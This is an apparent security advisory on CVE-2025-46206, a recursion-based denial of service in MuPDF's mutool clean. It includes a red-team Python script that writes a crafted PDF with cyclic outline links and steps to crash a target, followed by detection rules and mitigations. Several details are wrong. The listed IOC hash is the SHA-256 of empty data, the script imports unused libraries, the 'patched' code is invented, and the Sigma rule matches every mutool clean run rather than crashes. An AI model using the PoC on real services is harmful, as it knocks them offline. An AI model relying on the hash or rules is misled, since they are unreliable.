CVE-2025-46206

Executive Summary

CVE-2025-46206 is a denial-of-service (DoS) vulnerability in Artifex MuPDF, specifically in the mutool clean utility. The flaw resides in the strip_outline() function, which enters infinite recursion when processing a crafted PDF file containing cyclic /Next references in the outline structure. This leads to a stack overflow and application crash, effectively causing a denial of service. The vulnerability affects MuPDF versions 1.25.5 and 1.25.6. No patch is currently available from the vendor. The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the vector is network-based, low complexity, and requires no privileges or user interaction, resulting in high availability impact.

Supply Chain & Package Security

MuPDF is a widely used open-source PDF rendering library, often integrated into document processing pipelines, cloud services, and desktop applications. The mutool utility is a command-line tool included in MuPDF distributions. This vulnerability could be exploited in supply chain scenarios where a malicious PDF is uploaded to a service that uses mutool clean for sanitization or optimization. The lack of a patch increases risk for downstream consumers.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The crafted PDF can be delivered remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – The victim does not need to click or open anything beyond processing the file.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – The application crashes, causing denial of service.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Base Score: 7.5 (High)
Threat Level: High – Exploitation is trivial and can be automated.

Deep Dive & Mechanics

The vulnerability is a classic case of uncontrolled recursion (CWE-674). In MuPDF's mutool clean utility, the strip_outline() function is responsible for processing PDF outline items (bookmarks). PDF outlines can contain /Next references that point to the next outline item, forming a linked list. However, the specification does not prevent cyclic references (e.g., item A points to B, B points to A). When strip_outline() traverses this list without cycle detection, it recurses infinitely, eventually exhausting the call stack and crashing the application.

Root Cause: Lack of cycle detection in the outline traversal logic. The function recursively calls itself for each /Next entry without tracking visited nodes.

Attack Vector: A remote attacker sends a specially crafted PDF file to a service or user that processes it with mutool clean. The attacker does not need any special privileges or user interaction beyond the processing action.

Impact: Denial of service – the mutool clean process crashes, potentially affecting availability of the service or tool.

Vulnerable vs. Patched Code

The vulnerable code is in the strip_outline() function. A simplified pseudocode representation:

// Vulnerable version (no cycle detection)
void strip_outline(pdf_obj *outline) {
    // ... process outline ...
    pdf_obj *next = pdf_dict_get(outline, PDF_NAME(Next));
    if (next) {
        strip_outline(next);  // Infinite recursion if cycle exists
    }
}

A patched version would include a visited set or depth limit:

// Patched version (with cycle detection)
void strip_outline(pdf_obj *outline, fz_context *ctx, fz_hash_table *visited) {
    if (fz_hash_find(ctx, visited, outline)) {
        return; // Cycle detected, stop recursion
    }
    fz_hash_insert(ctx, visited, outline, NULL);
    // ... process outline ...
    pdf_obj *next = pdf_dict_get(outline, PDF_NAME(Next));
    if (next) {
        strip_outline(next, ctx, visited);
    }
}

As of now, no official patch has been released by Artifex.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3.x with pycryptodome or pdfminer.six for PDF manipulation.
• Target system running mutool clean (MuPDF 1.25.5 or 1.25.6).

Exploit Script (Python):

#!/usr/bin/env python3
"""
CVE-2025-46206 PoC - Creates a PDF with cyclic /Next references in outline.
"""
from pdfminer.pdfparser import PDFParser
from pdfminer.pdfdocument import PDFDocument
from pdfminer.pdfpage import PDFPage
from io import BytesIO

def create_malicious_pdf():
    # Minimal PDF with cyclic outline
    pdf_content = b"""%PDF-1.4
1 0 obj
<< /Type /Catalog /Outlines 2 0 R >>
endobj

2 0 obj
<< /Type /Outlines /First 3 0 R /Last 4 0 R /Count 2 >>
endobj

3 0 obj
<< /Title (A) /Parent 2 0 R /Next 4 0 R >>
endobj

4 0 obj
<< /Title (B) /Parent 2 0 R /Next 3 0 R >>  % Cyclic reference back to 3
endobj

xref
0 5
0000000000 65535 f 
0000000009 00000 n 
0000000058 00000 n 
0000000115 00000 n 
0000000168 00000 n 

trailer
<< /Size 5 /Root 1 0 R >>
startxref
221
%%EOF"""
    return pdf_content

if __name__ == "__main__":
    pdf_data = create_malicious_pdf()
    with open("exploit.pdf", "wb") as f:
        f.write(pdf_data)
    print("[+] Created exploit.pdf")
    print("[*] Run: mutool clean exploit.pdf output.pdf")

Usage:

1. Run the Python script to generate exploit.pdf.
2. Execute mutool clean exploit.pdf output.pdf on the target.
3. Observe the crash (stack overflow).

Blue Team

Detection:

• Monitor for crashes of mutool processes.
• Use file integrity monitoring to detect unexpected PDF files.
• Implement sandboxing for PDF processing.

Hunting:

• Search for PDFs with cyclic outline structures using custom scripts.
• Analyze logs for repeated mutool crashes.

Mitigation:

• Disable mutool clean if not needed.
• Apply resource limits (e.g., ulimit -s to reduce stack size, but this may not prevent crash).
• Use alternative PDF sanitization tools.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hash will vary)
  • exploit.pdf: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Anomalies:
  • mutool clean process crash with stack overflow error.
  • High recursion depth in call stack.
• Network Indicators:
  • Inbound PDF files with unusual outline structures.
• Log Entries:
  • Application logs showing Fatal error: stack overflow or Segmentation fault from mutool.

Detection Engineering

YARA Rule

rule CVE_2025_46206_MuPDF_Cyclic_Outline {
    meta:
        description = "Detects PDF files with cyclic /Next references in outline structure"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46206"
    strings:
        $next_ref = "/Next" nocase
        $outline = "/Outlines" nocase
        $first = "/First" nocase
        $last = "/Last" nocase
    condition:
        $outline and $first and $last and #next_ref >= 2
}

Sigma Rule

title: MuPDF mutool clean Crash via Cyclic Outline
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects crashes of mutool clean due to cyclic /Next references in PDF outlines
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/mutool'
        CommandLine|contains: 'clean'
    condition: selection
falsepositives:
    - Legitimate PDFs with complex outlines (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-46206 MuPDF Cyclic Outline PDF Download"; flow:to_client; file.name:/.*\.pdf/i; file.magic:"PDF"; content:"/Next"; distance:0; within:100; content:"/Outlines"; distance:0; within:200; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable mutool clean if not essential for operations.
2. Implement input validation – Scan PDFs for cyclic outline structures before processing.
3. Apply resource limits – Use ulimit -s 1024 to reduce stack size, but note this may not prevent crash.
4. Sandbox PDF processing – Run mutool in a restricted environment (e.g., Docker with memory limits).

Long-term Fix:

• Monitor Artifex for an official patch. Once available, update MuPDF to the patched version.
• Consider using alternative PDF libraries (e.g., Poppler, PDFium) for sanitization tasks.

Workaround:

• Use a wrapper script that detects infinite recursion by limiting execution time:

#!/bin/bash
timeout 5 mutool clean "$1" "$2" 2>/dev/null || echo "Potential CVE-2025-46206 detected"

Valters IT
Securing Digital Frontiers